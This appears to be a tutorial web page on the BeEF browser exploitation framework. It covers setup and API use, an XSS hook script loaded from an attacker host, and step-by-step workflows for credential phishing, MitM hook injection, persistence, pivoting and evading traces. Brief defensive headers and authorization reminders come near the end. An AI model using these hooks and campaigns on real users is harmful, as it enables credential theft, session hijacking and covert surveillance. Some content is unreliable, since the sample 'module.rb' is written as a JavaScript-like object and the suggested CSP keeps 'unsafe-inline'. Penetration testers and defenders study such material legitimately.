The most powerful browser exploitation framework for penetration testing
BeEF (Browser Exploitation Framework) is a penetration testing tool that focuses on exploiting web browser vulnerabilities. Unlike traditional security tools that focus on network or server-side vulnerabilities, BeEF hooks browsers and enables the pentester to launch directed command modules against them.
Key Features:
# Update and start BeEF
cd /usr/share/beef-xss
sudo ./beef
# Install dependencies
sudo apt update
sudo apt install ruby ruby-dev git curl -y
# Clone BeEF
git clone https://github.com/beefproject/beef.git
cd beef
# Install Ruby gems
bundle install
# Run installation script
./install
# Start BeEF
./beef
# Pull BeEF Docker image
docker pull beefproject/beef-xss
# Run BeEF in Docker
docker run -p 3000:3000 -p 6789:6789 -p 61985:61985 -p 61986:61986 \
beefproject/beef-xss
# Start BeEF server
cd /usr/share/beef-xss
sudo ./beef
# Default credentials
# Username: beef
# Password: beef (change this!)
http://127.0.0.1:3000/ui/panelhttp://127.0.0.1:3000/hook.jsEdit /usr/share/beef-xss/config.yaml:
beef:
http:
host: "0.0.0.0"
port: "3000"
credentials:
user: "beef"
passwd: "beef"
<!-- Insert this script into target page -->
<script src="http://YOUR-IP:3000/hook.js"></script>
Methods to inject the hook:
<script src="http://attacker:3000/hook.js"></script>Once hooked, access via BeEF UI:
# Basic information
- Browser name and version
- Operating system
- Plugins installed
- Screen resolution
- Geolocation
- Internal IP address
# Fake notifications
- Fake update prompts
- Fake plugin installs
- Credential phishing
- Fake login pages
- Alert/confirm dialogs
# Network scanning
- Port scanning
- Internal network discovery
- Detect local services
- Find other hosts
# Advanced attacks
- Keylogging
- Webcam access
- Clipboard theft
- File system access (with user interaction)
- Cookie stealing
- Session hijacking
// Execute from BeEF UI
1. Hook browser via XSS
2. Run "Pretty Theft" module
3. Display fake login (Facebook, Gmail, etc.)
4. Capture credentials when user enters them
5. Redirect to legitimate site
// Network discovery through hooked browser
1. Hook browser on corporate network
2. Use "Network Fingerprint" module
3. Scan internal network ranges
4. Identify services and systems
5. Map internal infrastructure
// Multi-stage attack
1. Initial hook via compromised website
2. Detect browser and plugins
3. Run appropriate exploit module
4. Establish persistence
5. Pivot to internal resources
// Intercept traffic
1. Position in network path
2. Inject BeEF hook into HTTP traffic
3. Hook all browsers on network
4. Monitor and manipulate traffic
5. Launch targeted attacks
// Phishing attack
1. Create convincing phishing page
2. Embed BeEF hook
3. Send via email/social media
4. Hook victims' browsers
5. Execute modules based on context
// Keep browser hooked
1. Use iFrame persistence module
2. Create browser extensions
3. Modify bookmarks
4. Local storage persistence
# Proxy through hooked browser
1. Enable "Web Proxy" module
2. Route traffic through victim
3. Access internal resources
4. Bypass firewall restrictions
# Programmatic control
curl -H "Content-Type: application/json" \
-X POST \
-d '{"username":"beef","password":"beef"}' \
http://127.0.0.1:3000/api/admin/login
# Execute module
curl -H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-X POST \
-d '{"command_module_id":"1","hooked_browser_id":"1"}' \
http://127.0.0.1:3000/api/modules/execute
// Create custom BeEF module
// /usr/share/beef-xss/modules/custom/my_module/module.rb
{
'Name': 'My Custom Module',
'Description': 'Custom functionality',
'Category': 'Exploits',
'Author': 'Your Name',
'Execute': function() {
// Module code here
beef.net.send('/api/hook', 1, 'POST',
{'data': 'custom data'});
}
}
1. Monitor for hook.js patterns
2. Check for unusual JavaScript
3. Use Content Security Policy (CSP)
4. Network traffic analysis
5. Browser extension monitoring
# Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
# X-Frame-Options
X-Frame-Options: SAMEORIGIN
# Input validation
- Sanitize all user input
- Escape output properly
- Use frameworks with XSS protection
# Nginx configuration
add_header Content-Security-Policy "default-src 'self';" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
┌─────────────────────────────────────┐
│ BeEF Control Panel │
│ (Web UI at :3000/ui) │
└──────────────┬──────────────────────┘
│
┌──────┴──────┐
│ BeEF Core │
│ Engine │
└──────┬──────┘
│
┌──────────┼──────────┐
│ │ │
┌───▼────┐ ┌──▼───┐ ┌────▼────┐
│ Hook │ │ API │ │ Command │
│ Script │ │ │ │ Modules │
└────────┘ └──────┘ └─────────┘
Browser ←──────→ BeEF Server
(hook.js) (command server)
│ │
│ Polling │
├─────────────────→│
│ Commands │
│←─────────────────┤
│ Results │
├─────────────────→│
1. Always get written authorization
2. Define clear scope
3. Document all actions
4. Use only necessary modules
5. Clean up after testing
6. Report responsibly
1. Change default credentials
2. Use strong passwords
3. Restrict network access
4. Enable SSL/TLS
5. Keep BeEF updated
6. Monitor logs
1. Use VPS/cloud infrastructure
2. Rotate IPs if needed
3. Use HTTPS for C2
4. Clean browser storage
5. Don't leave traces
# Start BeEF
./beef
# Stop BeEF
Ctrl+C or kill process
# Update BeEF
git pull
bundle install
# Reset password
./beef -x
# Check version
./beef -v
# Get hooked browsers
curl -H "Authorization: $TOKEN" \
http://127.0.0.1:3000/api/hooks
# Get available modules
curl -H "Authorization: $TOKEN" \
http://127.0.0.1:3000/api/modules
# Get logs
curl -H "Authorization: $TOKEN" \
http://127.0.0.1:3000/api/logs
1. Test only authorized systems
2. Respect user privacy
3. Don't abuse access
4. Report findings properly
5. Help improve security
# Use BeEF with Metasploit
use auxiliary/server/capture/http_javascript_keylogger
set BEEF_URL http://127.0.0.1:3000/hook.js
# MitM + BeEF injection
bettercap -eval "set http.proxy.script beef-inject.js; http.proxy on"
# Social Engineering Toolkit integration
set> beef
Control browsers, understand client-side risks. Use for legitimate security testing only.